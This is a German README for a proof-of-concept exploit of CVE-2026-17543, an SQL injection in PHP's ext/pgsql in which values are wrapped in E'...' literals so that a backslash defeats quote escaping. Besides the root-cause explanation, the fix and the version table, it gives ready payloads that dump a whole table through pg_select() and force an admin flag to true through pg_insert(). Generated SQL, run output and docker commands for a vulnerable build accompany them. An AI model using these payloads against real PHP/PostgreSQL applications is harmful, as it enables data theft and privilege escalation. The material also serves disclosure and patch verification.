
PoC-Exploit für CVE-2026-17543: SQL-Injection in PHP ext/pgsql per Backslash-Breakout, mit Payloads zur Datenextfiltration und Admin-Privilegienerweiterung für PostgreSQL.
ext/pgsql per E'...'-Backslash-AusbruchProof-of-Concept für CVE-2026-17543 (CVSS 9.8 Critical, CWE-89), eine SQL-Injection-Schwachstelle in der prozeduralen PostgreSQL-Erweiterung von PHP.
pg_insert(), pg_select(), pg_update(), pg_delete() und pg_convert() leiten alle Zeichenfolgenwerte durch php_pgsql_convert(), das:
PQescapeStringConn() von libpq – die unter standard_conforming_strings = on (dem PostgreSQL-Standard seit 9.1) ' zu '' verdoppelt und \ unangetastet lässt (korrekt für ein Standard-'...'-Literal).php_pgsql_add_quotes() in eine Escape-String-Konstante E'...' anstelle eines einfachen '...'.Innerhalb von E'...' ist der Backslash ein Escape-Zeichen, sodass ein vor ein Anführungszeichen gesetztes \ die Verdopplung der Anführungszeichen aushebelt: \' wird zu einem einzigen literalen ', und das zweite Anführungszeichen – vom Escaper als verdoppeltes Literal eingefügt – beendet die Zeichenkette nun vorzeitig. Alles danach ist rohes, injiziertes SQL.
Der offizielle Fix (Commit ab048bd83b57) ist ein einziges Zeichen: '...' statt E'...' auszugeben.
Nicht betroffen: pg_query_params() (echte Parameterbindung) und die Prepared Statements von PDO_PGSQL / PDO::quote() – diese verwenden separate Codepfade, die php_pgsql_add_quotes() niemals aufrufen.
zzz\' OR 1=1 --
(ein Backslash unmittelbar vor dem einfachen Anführungszeichen)
... WHERE "name"=E'zzz\'' OR 1=1 --' → OR 1=1 wird als SQL geparst → gibt jede Zeile zurück.... WHERE "name"='zzz\'' OR 1=1 --' → der Backslash ist gewöhnlich, also wird OR 1=1 -- innerhalb des String-Literals verschluckt → liefert keine Treffer.Ein zweiter Payload (eve\', true) --) demonstriert die Privilegienausweitung über pg_insert(), indem eine admin-Spalte auf true gezwungen wird.
docker compose up --build --abort-on-container-exit
PHP version: 8.4.23
standard_conforming_strings: on
----------------------------------------------------------------------
[1] pg_select() data exfiltration
payload (runtime): zzz\' OR 1=1 --
generated SQL:
SELECT * FROM "users" WHERE "name"=E'zzz\'' OR 1=1 --'
rows returned: 2
[!] INJECTION - leaked every row in the table
[2] pg_insert() privilege escalation
name payload (runtime): eve\', true) --
generated SQL:
INSERT INTO "users" ("name","admin") VALUES (E'eve\'', true) --','f')
inserted row admin flag: 't'
[!] INJECTION - admin column forced to TRUE
Done.
Bei einem gepatchten Build enthält das erzeugte SQL '...' (kein E), [1] meldet rows returned: 0 / no injection und [2] meldet admin flag: 'f'.
Richte PGCONN auf eine beliebige PostgreSQL-Instanz und führe das Skript mit einem verwundbaren PHP aus:
PGCONN="host=127.0.0.1 port=5432 dbname=test user=test password=test" php poc.php
ext/pgsql (--with-pgsql / die pgsql-Erweiterung).standard_conforming_strings = on).docker compose down -v
Das hier verwendete PHP-Image ist per Definition nicht gegen CVE-2026-17543 gepatcht. Führe es nur in einem isolierten Wegwerf-Container aus und führe docker compose down -v aus, wenn du fertig bist. Richte diesen PoC niemals gegen eine Datenbank, die dir wichtig ist.
| Branch | Verwundbar | Behoben |
|---|
| PHP 8.2 | < 8.2.33 | 8.2.33 |
| PHP 8.3 | < 8.3.33 | 8.3.33 |
| PHP 8.4 | < 8.4.24 | 8.4.24 |
| PHP 8.5 | < 8.5.9 | 8.5.9 |
| Datei | Beschreibung |
|---|
poc.php | Demonstriert die Datenerxfiltrations-Variante über pg_select und die Privilegienausweitungs-Variante über pg_insert; gibt das erzeugte SQL aus, sodass das E'...'-Token sichtbar ist |
Dockerfile | Fixiert ein verwundbares PHP-CLI-Image (php:8.4.23-cli) mit ext/pgsql |
docker-compose.yml | Startet PostgreSQL 16 + den verwundbaren PHP-Container und führt poc.php aus |